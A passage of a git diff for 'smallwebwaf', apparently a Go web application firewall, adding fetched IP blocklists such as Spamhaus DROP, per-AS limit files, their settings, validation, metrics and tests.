number and country, and refuses it if that country is denied, or is not among the only ones allowed; -- checks for a cached reputation verdict; +- checks it against the blocklists, and for a cached reputation verdict; - picks the client's limit percentage from those; - checks the minute, hour and day request counters against the limits, and bans the client if it breaks one; @@ -1533,6 +1608,57 @@ country: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless you list it in `SWWAF_UNKNOWN_LIMIT_PERCENT` sets its limits. Such addresses are never sent to GeoJS. +## Blocklists + +`SWWAF_BLOCKLIST_URLS` names blocklists: text files of addresses and netblocks, +one to a line, written as the Spamhaus DROP list, +`https://www.spamhaus.org/drop/drop.txt`, is. Anything after a `;` or a `#` on a +line is left out, and so is a line left blank. A bare address stands for itself +alone, as in the settings. An IPv4-mapped address or netblock, such as +`::ffff:192.0.2.0/120`, is read as the IPv4 one it stands for, here +`192.0.2.0/24`, since a client's IPv4 address is checked as IPv4; a mapped +netblock shorter than `/96` stands for none, and is not a netblock. None is +named by default: a list judges a client by what others saw it do, while the +defaults judge it by what it does to your service. + +`smallwebwaf` fetches each list, and the file `SWWAF_ASN_LIMIT_PERCENT_URL` +names, `SWWAF_BLOCKLIST_REFRESH` after it last fetched it or tried to, 24 hours +by default and never less than one, one list after another. Since +`reputation.json` keeps when each list was last tried, the fetch failed or not, +even one cut off as `smallwebwaf` stopped, whose request the server may have +had, at start `smallwebwaf` fetches at once only a list it has never tried, and +one it last tried that long ago; any other waits its turn, so that restarts do +not fetch a list more often. A fetch fails when the server answers other than +`200`, when it does not finish within a minute, when the list is longer than 16 +MiB, or when a line of it is not an address or a netblock, or for +`SWWAF_ASN_LIMIT_PERCENT_URL`, not an AS number, `:` and a percentage. The copy +fetched before then stays in use, and the failure is counted, logged and raised +as a `source_failure` alert; a fetch cut off as `smallwebwaf` stops is not a +failure. The last good copy of each list is kept whole, comment lines included, +in `reputation.json` (see "State files" above), so that a restart keeps it in +use too. Each list is named by its URL, in the request log, the alerts and the +metrics, so keep a secret out of it. + +A client in `SWWAF_ALLOW_NETS` is not checked. Any other is checked by its own +address after the country lists, and `SWWAF_BLOCKLIST_ACTION` says what is done +with one a list lists, as "What it does so far" above describes. `deny` suits +lists of networks that send nothing legitimate, such as DROP; `limit:` +suits lists of addresses shared with ordinary visitors, such as those of Tor's +exits. + +The Spamhaus DROP list is The Spamhaus Project's, https://www.spamhaus.org. Its +terms, on its DROP page, ask that a product using it credit The Spamhaus Project +and keep the list's date and copyright lines with the data, which the copy in +`reputation.json` does; a service that uses DROP through `smallwebwaf` uses data +from The Spamhaus Project, and should say so. They also ask that it be fetched +automatically no more than once an hour, once a day being more than enough in +most cases, and Spamhaus may block an address that fetches it more often. Each +`smallwebwaf` fetches its own copy, on its own schedule, so on a host where +several apps run it, sharing one address, their fetches can come less than an +hour apart whatever `SWWAF_BLOCKLIST_REFRESH` is: each fetches a list again that +long after its own last try, so those first started within the same hour, with +the same refresh, keep fetching within the same hour. + ## How the code is laid out - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. @@ -1546,15 +1672,15 @@ GeoJS. standard library's `httputil.ReverseProxy` within the timeouts and size limits, and writes the request's log line. Its `check` method is where a request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for - a ban, for the country lists, for a rate limit, which bans the client, for a - `block` or `ban` rule, the latter banning the client, and for an announced - body over the size limit; in `observe` mode, only for the size limit, with - what it would have refused for noted in the log line. A request under - `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin` - instead of reaching the app. Once the answer to a request passed to the app - has ended, `countBytes` counts its bytes for the byte limits, and once any - request but the health check has ended, `countAnomalies` counts it for the - anomaly thresholds. + a ban, for the country lists, for a blocklist, for a rate limit, which bans + the client, for a `block` or `ban` rule, the latter banning the client, and + for an announced body over the size limit; in `observe` mode, only for the + size limit, with what it would have refused for noted in the log line. A + request under `/_smallwebwaf/` that `check` lets through is answered by + `answerAdmin` instead of reaching the app. Once the answer to a request passed + to the app has ended, `countBytes` counts its bytes for the byte limits, and + once any request but the health check has ended, `countAnomalies` counts it + for the anomaly thresholds. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -1567,6 +1693,10 @@ GeoJS. client's history and to the notes of its bans; or in the lookup database, which it reads again when the file is replaced. `internal/lookup/lookuptest` writes lookup databases for the tests. +- `internal/reputation`: fetches the blocklists and the file + `SWWAF_ASN_LIMIT_PERCENT_URL` names as they are due, keeps the last good copy + of each, and tells which blocklists list an address and what percentage the + file gives an AS number. - `internal/ratelimit`: the table of clients: counts each client's requests and bytes, tells when they take it over a rate limit or a byte limit, and keeps each client's history. diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index 253a59d..8c72282 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -44,11 +44,12 @@ const ( // EventAnomaly is a count of requests or bytes over an anomaly // threshold. EventAnomaly = "anomaly" - // EventWAFBlock and EventReputationHit come with the Core Rule Set and - // the reputation sources; nothing raises them yet. - EventWAFBlock = "waf_block" + // EventWAFBlock comes with the Core Rule Set; nothing raises it yet. + EventWAFBlock = "waf_block" + // EventReputationHit is a request whose client a blocklist lists. EventReputationHit = "reputation_hit" - // EventSourceFailure is GeoJS failing or refusing smallwebwaf. + // EventSourceFailure is GeoJS failing or refusing smallwebwaf, or a + // fetch of a list failing. EventSourceFailure = "source_failure" // EventFileError is a rule file or state file edited while smallwebwaf // runs that does not parse, a replacement of the lookup database that diff --git a/internal/config/config.go b/internal/config/config.go index b8f4ec6..0343286 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -131,12 +131,27 @@ type Config struct { // percentages from 0 to 100, by AS number, written as AS64496, or by // country, a two-letter code in capitals, as the lookup gives them. // UnknownLimitPercent is the percentage of every limit a client without - // a country gets (SWWAF_UNKNOWN_LIMIT_PERCENT). + // a country gets (SWWAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is + // where a file of AS:percent lines is fetched from, whose percentages + // count as those of ASNLimitPercent do (SWWAF_ASN_LIMIT_PERCENT_URL), "" + // while it is unset. ASNLimitPercent map[string]int64 CountryLimitPercent map[string]int64 ASNBytesPercent map[string]int64 CountryBytesPercent map[string]int64 UnknownLimitPercent int64 + ASNLimitPercentURL string + // BlocklistURLs are where the blocklists are fetched from + // (SWWAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is + // fetched again BlocklistRefresh after it was last fetched or tried + // (SWWAF_BLOCKLIST_REFRESH), which is never less than an hour. + // BlocklistAction is what is done with a client a blocklist lists + // (SWWAF_BLOCKLIST_ACTION): deny, limit or log; for limit, + // BlocklistLimitPercent is the percentage of every limit it gets. + BlocklistURLs []string + BlocklistRefresh time.Duration + BlocklistAction string + BlocklistLimitPercent int64 // BanResponse is the status a refused client is answered with, 403 // or 429, or 0 to close the connection without an answer // (SWWAF_BAN_RESPONSE). It answers a banned client, a request that @@ -344,6 +359,13 @@ var ( "is not a code, : and a percentage, such as AS64496:50 or cn:25") errNotPercent = errors.New("is not a percentage, a whole number from 0 to 100") errListedTwice = errors.New("is listed twice") + errNotListURL = errors.New( + "is not an http or https URL without a user or a fragment, " + + "such as https://www.spamhaus.org/drop/drop.txt") + errInBlocklistURLs = errors.New("is in SWWAF_BLOCKLIST_URLS too") + errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h") + errNotAction = errors.New( + "is not deny, limit: such as limit:25, or log") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -388,11 +410,14 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""), ExclusivelyAllowedCountries: env.countries( "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), - ASNLimitPercent: env.percents("SWWAF_ASN_LIMIT_PERCENT", parseASN), + ASNLimitPercent: env.percents("SWWAF_ASN_LIMIT_PERCENT", ParseASN), CountryLimitPercent: env.percents("SWWAF_COUNTRY_LIMIT_PERCENT", parseCountry), - ASNBytesPercent: env.percents("SWWAF_ASN_BYTES_PERCENT", parseASN), + ASNBytesPercent: env.percents("SWWAF_ASN_BYTES_PERCENT", ParseASN), CountryBytesPercent: env.percents("SWWAF_COUNTRY_BYTES_PERCENT", parseCountry), UnknownLimitPercent: env.percent("SWWAF_UNKNOWN_LIMIT_PERCENT", "100"), + ASNLimitPercentURL: env.listURL("SWWAF_ASN_LIMIT_PERCENT_URL"), + BlocklistURLs: env.listURLs("SWWAF_BLOCKLIST_URLS"), + BlocklistRefresh: env.refresh("SWWAF_BLOCKLIST_REFRESH", "24h"), BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"), LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"), LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"), @@ -435,10 +460,13 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { cfg.LogRemoteAppName = env.appName("SWWAF_LOG_REMOTE_APP_NAME", cfg.InstanceName, cfg.LogRemoteURL != nil) + cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action( + "SWWAF_BLOCKLIST_ACTION", "deny") env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil) env.checkLookupDBPath(cfg) env.checkCountriesAndLookups(cfg) + env.checkASNLimitPercentURL(cfg) if env.err != nil { return nil, env.err @@ -664,12 +692,66 @@ func (e *environment) percents( // percent reads a setting that is a percentage, from 0 to 100. func (e *environment) percent(name, defaultValue string) int64 { - percent, err := parsePercent(e.value(name, defaultValue)) + percent, err := ParsePercent(e.value(name, defaultValue)) e.check(name, err) return percent } +// listURL reads a setting that is the URL a list is fetched from, "" while +// it is unset or empty. +func (e *environment) listURL(name string) string { + value := e.value(name, "") + if value != "" && !isListURL(value) { + e.check(name, fmt.Errorf("%q %w", value, errNotListURL)) + } + + return value +} + +// listURLs reads a setting that is a list of the URLs lists are fetched +// from. It is empty by default. +func (e *environment) listURLs(name string) []string { + urls, err := parseListURLs(e.value(name, "")) + e.check(name, err) + + return urls +} + +// refresh reads the setting that is how long after a list was last +// fetched or tried it is fetched again: a duration of an hour or more, +// since the Spamhaus lists may be fetched no more often, which cannot be +// off. +func (e *environment) refresh(name, defaultValue string) time.Duration { + value := e.value(name, defaultValue) + + duration, err := parseDuration(value) + if err != nil || duration < time.Hour { + e.check(name, fmt.Errorf("%q %w", value, errNotAnHourOrMore)) + } + + return duration +} + +// action reads a setting that is what is done with a client a list names: +// deny, log, or limit:, which it returns as limit and the +// percentage. +func (e *environment) action(name, defaultValue string) (string, int64) { + value := e.value(name, defaultValue) + if value == "deny" || value == "log" { + return value, 0 + } + + percentText, isLimit := strings.CutPrefix(value, "limit:") + + percent, err := ParsePercent(percentText) + if !isLimit || err != nil { + e.check(name, fmt.Errorf("%q %w", value, errNotAction)) + } + + return "limit", percent +} + // lookupSource reads the setting that is where clients are looked up: // geojs, file, or off. func (e *environment) lookupSource(name, defaultValue string) string { @@ -698,8 +780,9 @@ func (e *environment) checkLookupDBPath(cfg *Config) { // checkCountriesAndLookups refuses a country on both country lists, and, // while SWWAF_LOOKUP_SOURCE is off, each setting that needs clients looked // up: the country lists, SWWAF_ADD_LOOKUP_HEADERS, the biased thresholds, -// of which SWWAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it -// lowers a limit, and the anomaly thresholds per AS number. +// SWWAF_ASN_LIMIT_PERCENT_URL among them, of which +// SWWAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a +// limit, and the anomaly thresholds per AS number. func (e *environment) checkCountriesAndLookups(cfg *Config) { for _, country := range cfg.ExclusivelyAllowedCountries { if slices.Contains(cfg.DeniedCountries, country) { @@ -724,6 +807,7 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) { {"SWWAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0}, {"SWWAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0}, {"SWWAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100}, + {"SWWAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""}, {"SWWAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0}, {"SWWAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0}, {"SWWAF_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0}, @@ -736,6 +820,15 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) { } } +// checkASNLimitPercentURL refuses SWWAF_ASN_LIMIT_PERCENT_URL naming a +// blocklist too: the file at a URL is fetched as one list or the other. +func (e *environment) checkASNLimitPercentURL(cfg *Config) { + if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) { + e.check("SWWAF_ASN_LIMIT_PERCENT_URL", + fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs)) + } +} + // headerNames reads a setting that is a list of header names, and // returns them in lower case. func (e *environment) headerNames(name, defaultValue string) []string { @@ -1187,7 +1280,7 @@ func parseNetblocks(value string) ([]netip.Prefix, error) { netblocks := make([]netip.Prefix, 0, len(items)) for _, item := range items { - netblock, err := parseNetblock(item) + netblock, err := ParseNetblock(item) if err != nil { return nil, err } @@ -1198,9 +1291,10 @@ func parseNetblocks(value string) ([]netip.Prefix, error) { return netblocks, nil } -// parseNetblock reads a netblock in CIDR form, such as 10.0.0.0/8. A bare -// address is a netblock of that address alone, a /32 or a /128. -func parseNetblock(value string) (netip.Prefix, error) { +// ParseNetblock reads a netblock in CIDR form, such as 10.0.0.0/8. A bare +// address is a netblock of that address alone, a /32 or a /128. A +// blocklist's lines are read with it too. +func ParseNetblock(value string) (netip.Prefix, error) { if strings.Contains(value, "/") { netblock, err := netip.ParsePrefix(value) if err != nil { @@ -1237,7 +1331,7 @@ func parseNamedNetblocks(value string) ([]anomaly.NamedNetblock, error) { return nil, fmt.Errorf("%q %w", item, errNotNamedNetblock) } - netblock, err := parseNetblock(strings.TrimSpace(netblockText)) + netblock, err := ParseNetblock(strings.TrimSpace(netblockText)) if err != nil { return nil, err } @@ -1337,10 +1431,11 @@ func parseCountry(value string) (string, error) { return country, nil } -// parseASN reads an AS number such as AS64496, in either case, and +// ParseASN reads an AS number such as AS64496, in either case, and // returns it as the lookup gives it: AS and the number, in capitals and -// without leading zeros. -func parseASN(value string) (string, error) { +// without leading zeros. The file SWWAF_ASN_LIMIT_PERCENT_URL names is +// read with it too. +func ParseASN(value string) (string, error) { digits, hasAS := strings.CutPrefix(strings.ToUpper(value), "AS") number, err := strconv.ParseUint(digits, 10, 32) @@ -1376,7 +1471,7 @@ func parsePercents( return nil, err } - percent, err := parsePercent(percentText) + percent, err := ParsePercent(percentText) if err != nil { return nil, err } @@ -1391,8 +1486,9 @@ func parsePercents( return percents, nil } -// parsePercent reads a percentage, a whole number from 0 to 100. -func parsePercent(value string) (int64, error) { +// ParsePercent reads a percentage, a whole number from 0 to 100. The file +// SWWAF_ASN_LIMIT_PERCENT_URL names is read with it too. +func ParsePercent(value string) (int64, error) { percent, err := strconv.ParseInt(value, 10, 64) if err != nil || percent < 0 || percent > 100 { return 0, fmt.Errorf("%q %w", value, errNotPercent) @@ -1548,16 +1644,7 @@ func parseWebhookURL(value string) (*url.URL, string, error) { } webhook, err := url.Parse(value) - if err != nil { - return nil, "", errNotWebhookURL - } - - port, err := strconv.ParseUint(webhook.Port(), 10, 16) - - valid := (webhook.Scheme == "http" || webhook.Scheme == "https") && - webhook.Hostname() != "" && (webhook.Port() == "" || (err == nil && port != 0)) && - webhook.User == nil && webhook.Opaque == "" && webhook.Fragment == "" - if !valid { + if err != nil || !isHTTPURL(webhook) { return nil, "", errNotWebhookURL } @@ -1569,6 +1656,47 @@ func parseWebhookURL(value string) (*url.URL, string, error) { return webhook, logged, nil } +// isHTTPURL reports whether u is http or https, with a host, and an +// optional port from 1 to 65535, path and query, without a user or a +// fragment. +func isHTTPURL(u *url.URL) bool { + port, err := strconv.ParseUint(u.Port(), 10, 16) + + return (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != "" && + (u.Port() == "" || (err == nil && port != 0)) && + u.User == nil && u.Opaque == "" && u.Fragment == "" +} + +// isListURL reports whether value is a URL a list can be fetched from, as +// isHTTPURL says. +func isListURL(value string) bool { + u, err := url.Parse(value) + + return err == nil && isHTTPURL(u) +} + +// parseListURLs reads a comma-separated list of the URLs lists are fetched +// from. A URL listed twice is an error: it would be fetched twice as +// often. +func parseListURLs(value string) ([]string, error) { + urls, err := parseList(value) + if err != nil { + return nil, err + } + + for i, listURL := range urls { + if !isListURL(listURL) { + return nil, fmt.Errorf("%q %w", listURL, errNotListURL) + } + + if slices.Contains(urls[:i], listURL) { + return nil, fmt.Errorf("%q %w", listURL, errListedTwice) + } + } + + return urls, nil +} + // parseWebhookHeaders reads a comma-separated list of headers, each its // name, :, and its value, and returns them, and how the log shows them, // with each value as ********. An error names the item by its place in diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 1467277..78a8456 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -57,6 +57,10 @@ const ( asnBytesPercent = "SWWAF_ASN_BYTES_PERCENT" countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT" unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT" + asnLimitPercentURL = "SWWAF_ASN_LIMIT_PERCENT_URL" + blocklistURLs = "SWWAF_BLOCKLIST_URLS" + blocklistRefresh = "SWWAF_BLOCKLIST_REFRESH" + blocklistAction = "SWWAF_BLOCKLIST_ACTION" banResponse = "SWWAF_BAN_RESPONSE" limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" @@ -953,6 +957,7 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { deniedCountries: "kp", allowedCountries: "de", addLookupHeaders: enabled, + asnLimitPercentURL: asnURL, asnLimitPercent: "AS64496:50", countryLimitPercent: "cn:25", asnBytesPercent: "AS64496:50", @@ -978,11 +983,13 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { // Set empty, the lists need nothing looked up, and nor does // SWWAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, an anomaly - // threshold per AS number that is off, or any other anomaly threshold. + // threshold per AS number that is off, any other anomaly threshold, or + // a blocklist. env := environment{ lookupSource: off, deniedCountries: "", allowedCountries: "", asnLimitPercent: "", countryLimitPercent: "", asnBytesPercent: "", - countryBytesPercent: "", unknownLimitPercent: "100", + countryBytesPercent: "", unknownLimitPercent: "100", asnLimitPercentURL: "", + blocklistURLs: dropURL, } for _, name := range anomalyThresholds() { env[name] = "1000" @@ -1205,6 +1212,116 @@ func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) { } } +// dropURL and torURL are blocklists, and asnURL a file of AS:percent +// lines. +const ( + dropURL = "https://www.spamhaus.org/drop/drop.txt" + torURL = "https://lists.example/tor-exits.txt" + asnURL = "https://lists.example/asn.txt" +) + +// The actions of SWWAF_BLOCKLIST_ACTION, as Config gives them. +const ( + actionDeny = "deny" + actionLimit = "limit" + actionLog = "log" +) + +func TestReputationSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{}) + if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour || + cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" { + t.Errorf("%s, %s, %s and %s gave %v, %s, %s and %q by default, "+ + "want none, 24h, deny and none", blocklistURLs, blocklistRefresh, + blocklistAction, asnLimitPercentURL, cfg.BlocklistURLs, cfg.BlocklistRefresh, + cfg.BlocklistAction, cfg.ASNLimitPercentURL) + } + + for _, tc := range []struct { + value, action string + percent int64 + }{ + {actionDeny, actionDeny, 0}, + {actionLog, actionLog, 0}, + {"limit:25", actionLimit, 25}, + {"limit:0", actionLimit, 0}, + } { + // An hour, the shortest refresh allowed. + cfg := fromEnvironment(t, environment{ + blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h", + blocklistAction: tc.value, asnLimitPercentURL: asnURL, + }) + + if !slices.Equal(cfg.BlocklistURLs, []string{dropURL, torURL}) || + cfg.BlocklistRefresh != time.Hour || cfg.BlocklistAction != tc.action || + cfg.BlocklistLimitPercent != tc.percent || cfg.ASNLimitPercentURL != asnURL { + t.Errorf("%s=%s gave %v, %s, %s, %d and %s", blocklistAction, tc.value, + cfg.BlocklistURLs, cfg.BlocklistRefresh, cfg.BlocklistAction, + cfg.BlocklistLimitPercent, cfg.ASNLimitPercentURL) + } + } +} + +func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { + t.Parallel() + + const ( + notURL = " is not an http or https URL without a user or a fragment, " + + "such as https://www.spamhaus.org/drop/drop.txt" + notAnHour = " is not a duration of 1h or more, such as 24h" + notAction = " is not deny, limit: such as limit:25, or log" + ) + + for _, tc := range []struct{ name, value, want string }{ + { + blocklistURLs, "ftp://lists.example/drop.txt", + `"ftp://lists.example/drop.txt"` + notURL, + }, + {blocklistURLs, "lists.example/drop.txt", `"lists.example/drop.txt"` + notURL}, + { + blocklistURLs, "https://me:secret@lists.example/drop.txt", + `"https://me:secret@lists.example/drop.txt"` + notURL, + }, + { + blocklistURLs, dropURL + "," + torURL + "," + dropURL, + `"` + dropURL + `" is listed twice`, + }, + {asnLimitPercentURL, asnURL + "#top", `"` + asnURL + `#top"` + notURL}, + {blocklistRefresh, "59m", `"59m"` + notAnHour}, + {blocklistRefresh, off, `"off"` + notAnHour}, + {blocklistRefresh, "a day", `"a day"` + notAnHour}, + {blocklistAction, "block", `"block"` + notAction}, + {blocklistAction, actionLimit, `"limit"` + notAction}, + {blocklistAction, "limit:101", `"limit:101"` + notAction}, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{ + blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL, + }.lookupEnv) + + want := asnLimitPercentURL + `: "` + asnURL + `" is in SWWAF_BLOCKLIST_URLS too` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + func TestSizesAndOff(t *testing.T) { t.Parallel() @@ -1628,6 +1745,10 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { asnBytesPercent: "", countryBytesPercent: "", unknownLimitPercent: "100", + asnLimitPercentURL: "", + blocklistURLs: "", + blocklistRefresh: "24h", + blocklistAction: actionDeny, banResponse: "403", limitBanDuration: "1h", limitBanRepeatWindow: "24h", diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 2dda76c..af5df88 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -16,6 +16,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/remotelog" + "sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" ) @@ -35,10 +36,12 @@ type Metrics struct { rateLimitHits *prometheus.CounterVec sizeAndTimeLimitHits *prometheus.CounterVec offences *prometheus.CounterVec - // ruleMatches are made by AddRules. - ruleMatches *prometheus.CounterVec - countries *busiest - asns *busiest + // ruleMatches are made by AddRules, and reputationHits by + // AddReputation. + ruleMatches *prometheus.CounterVec + reputationHits *prometheus.CounterVec + countries *busiest + asns *busiest // GeoJSRequests are the requests to GeoJS, and GeoJSFailures those // that failed. GeoJSUnanswered are the requests that needed their @@ -253,6 +256,51 @@ func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() i ) } +// AddReputation adds the metrics of the lists fetched from URLs, by +// source, each list's URL: the requests whose client a blocklist lists, +// which ReputationHit counts, and, read from lists as the metrics are +// asked for, the fetches that failed and when the copy in use was fetched. +// It is called once, before ReputationHit. +func (m *Metrics) AddReputation(lists *reputation.Lists) { + m.reputationHits = counterVec("smallwebwaf_reputation_hits_total", + "Requests whose client a blocklist lists, by the blocklist's URL.", + []string{"source"}) + m.registry.MustRegister(m.reputationHits) + + for _, listURL := range lists.URLs() { + source := prometheus.Labels{"source": listURL} + + m.registry.MustRegister( + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_reputation_failures_total", + Help: "Fetches of the list that failed.", + ConstLabels: source, + }, func() float64 { + return float64(lists.Failures(listURL)) + }), + prometheus.NewGaugeFunc(prometheus.GaugeOpts{ + Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds", + Help: "When the copy of the list in use was fetched, in seconds since " + + "1970, or 0 while there is none.", + ConstLabels: source, + }, func() float64 { + fetched := lists.Fetched(listURL) + if fetched.IsZero() { + return 0 + } + + return float64(fetched.Unix()) + }), + ) + } +} + +// ReputationHit counts a request whose client the blocklist at source, its +// URL, lists. +func (m *Metrics) ReputationHit(source string) { + m.reputationHits.WithLabelValues(source).Inc() +} + // AddAlerts adds the metrics of the alerts sent to each destination set, // read from queue as the metrics are asked for, by destination: the // alerts sent, the requests to the destination that failed, the alerts diff --git a/internal/proxy/biased.go b/internal/proxy/biased.go index 2b879e9..aab89ca 100644 --- a/internal/proxy/biased.go +++ b/internal/proxy/biased.go @@ -17,33 +17,48 @@ type percentage struct { } // biasedThresholdsSet reports whether a biased threshold can lower a -// client's limits: one of its lists is not empty, or -// SWWAF_UNKNOWN_LIMIT_PERCENT is below 100. The client's lookup is then -// needed before its request goes on. +// client's limits: one of its lists is not empty, +// SWWAF_UNKNOWN_LIMIT_PERCENT is below 100, or SWWAF_ASN_LIMIT_PERCENT_URL +// is set. The client's lookup is then needed before its request goes on. func biasedThresholdsSet(cfg *config.Config) bool { return len(cfg.ASNLimitPercent) > 0 || len(cfg.CountryLimitPercent) > 0 || len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 || - cfg.UnknownLimitPercent < whole + cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != "" } -// limitPercentages returns a client's limit percentages, for the rate +// limitPercentages returns the client's limit percentages, for the rate // limits and for the byte limits, by its AS number and country as looked -// up, each "" when unknown. Each is the lowest of those the settings give -// it, the first of them in the order below when several are lowest: the -// percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one -// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, and, for a client -// without a country, SWWAF_UNKNOWN_LIMIT_PERCENT. For the byte limits, -// SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the place -// of the first two for an AS number or a country they list. -func limitPercentages( - cfg *config.Config, asn, country string, -) (percentage, percentage) { +// up, each "" when unknown, and the blocklists that list it. Each is the +// lowest of those the settings give it, the first of them in the order +// below when several are lowest: the percentage SWWAF_ASN_LIMIT_PERCENT +// gives its AS number, the one the file SWWAF_ASN_LIMIT_PERCENT_URL names +// gives it, the one SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a +// client without a country, SWWAF_UNKNOWN_LIMIT_PERCENT, and for a client +// a blocklist lists, the percentage of SWWAF_BLOCKLIST_ACTION while it is +// limit. For the byte limits, SWWAF_ASN_BYTES_PERCENT and +// SWWAF_COUNTRY_BYTES_PERCENT take the place of the first three for an AS +// number or a country they list. +func (rq *request) limitPercentages() (percentage, percentage) { + cfg := rq.h.config + asn, country := rq.line.ASN, rq.line.Country + unknown := percentage{percent: whole} if country == "" { unknown = percentage{cfg.UnknownLimitPercent, "SWWAF_UNKNOWN_LIMIT_PERCENT"} } - asnRequests := given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT") + fetched := percentage{percent: whole} + if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed { + fetched = percentage{percent, "SWWAF_ASN_LIMIT_PERCENT_URL"} + } + + listed := percentage{percent: whole} + if len(rq.line.Reputation) > 0 && cfg.BlocklistAction == "limit" { + listed = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"} + } + + asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"), + fetched) countryRequests := given(cfg.CountryLimitPercent, country, "SWWAF_COUNTRY_LIMIT_PERCENT") @@ -56,8 +71,8 @@ func limitPercentages( countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT") } - return lowest(asnRequests, countryRequests, unknown), - lowest(asnBytes, countryBytes, unknown) + return lowest(asnRequests, countryRequests, unknown, listed), + lowest(asnBytes, countryBytes, unknown, listed) } // given returns the percentage percents, the setting named setting, gives diff --git a/internal/proxy/biased_test.go b/internal/proxy/biased_test.go index 9f4505f..03d4c33 100644 --- a/internal/proxy/biased_test.go +++ b/internal/proxy/biased_test.go @@ -310,6 +310,7 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) { {asnBytesPercent, asnDEHalf, true}, {countryBytesPercent, countryDEHalf, true}, {unknownLimitPercent, "99", true}, + {asnLimitPercentURL, asnURL, true}, // At 100, its default, it lowers no limit. {unknownLimitPercent, "100", false}, 